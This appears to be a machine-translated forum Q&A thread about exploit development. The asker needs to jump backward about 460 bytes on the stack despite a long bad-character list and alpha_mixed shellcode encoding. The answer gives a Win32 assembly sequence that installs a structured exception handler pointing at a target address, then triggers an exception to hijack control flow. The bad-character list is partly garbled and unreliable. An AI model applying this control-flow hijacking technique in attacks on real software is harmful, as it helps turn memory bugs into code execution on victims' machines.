在没有jmp的情况下在堆栈中反向移动



更新:由于我能够将正确的地址输入到要跳转/调用的寄存器中,我认为最好的选择是找到一种方法,在jmp/call寄存器中产生自修改代码。例如,FFD6调用esi有人能给我一些指针吗?或者在汇编中给我一个如何获得结果FFD6的例子吗?

我在利用漏洞,由于角色不好,很难在堆栈中向后移动。我需要向后移动约460字节才能到达缓冲区的开头。

以下是坏字符列表:

\x0a\x0d\x1a\x80\x82\x83\x84\x85\x87\x88\x89\x8a\x8b\x8c\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd0 1\xd2\xd3\xd4\xd5\xd6\xd7\xd9\xda\xdb\xdc\xdd\xdf\xe0\xe1\xe2\xe3\xe4\x5\x6\x7\x8\x9\xea\xeb\xxee\xee\xee\xxf0\xf1\xf2\xf3\xf4\xf5\xf\xf7xf8\xf\xfa\xfb\xfd\xf\xf

我被限制为x86\alpha_mixed,有几个例外,比如x81&x8d。我能够在堆栈中向后移动的唯一方法是\x74\x81(这是允许的字符),但我必须这样做4次才能返回~460。这并不是什么大不了的事,只是当我已经不得不将shell代码编码为alpha_mixed时,这也会让我很难对其进行分段。

我不是汇编大师,所以我有没有其他遗漏的方法可以在没有jmp或call(FF)的情况下直接返回?

我有一个有效的解决方案,但它仅适用于Windows,并且基于其他一些假设。

它并没有完全优化,我想有更好的方法来完成这部分。。。

; ASSUMPTIONS:
;   Platform is Win32
;   ESI contains address to be jumped to
;   All characters except for 00 and the ones you listed above are allowed
;   The contents of the registers after the jump don't matter
; BASIC METHOD:
;   1) Set up a structured exception handler pointing to your target address
;   2) Cause an exception
; Get zero into EAX and EDX
00401000      B8 11111111   MOV EAX, 11111111
00401005      35 11111111   XOR EAX, 11111111
0040100A      50            PUSH EAX
0040100B      5A            POP EDX
; First part of the SEH: Push target address
0040100C      56            PUSH ESI
; Second part of the SEH: Read FS:[0] and push it
0040100D      64:0310       ADD EDX, FS:[EAX]
00401010      52            PUSH EDX
; Get zero into EDX again
00401011      50            PUSH EAX
00401012      5A            POP EDX
; Write new SEH pointer into FS:[0]
00401013      64:2110       AND FS:[EAX], EDX
00401016      64:0120       ADD FS:[EAX], ESP
; Trigger exception (writing to memory at address zero)
00401019      0110          ADD [EAX], EDX

相关内容

  • 没有找到相关文章

最新更新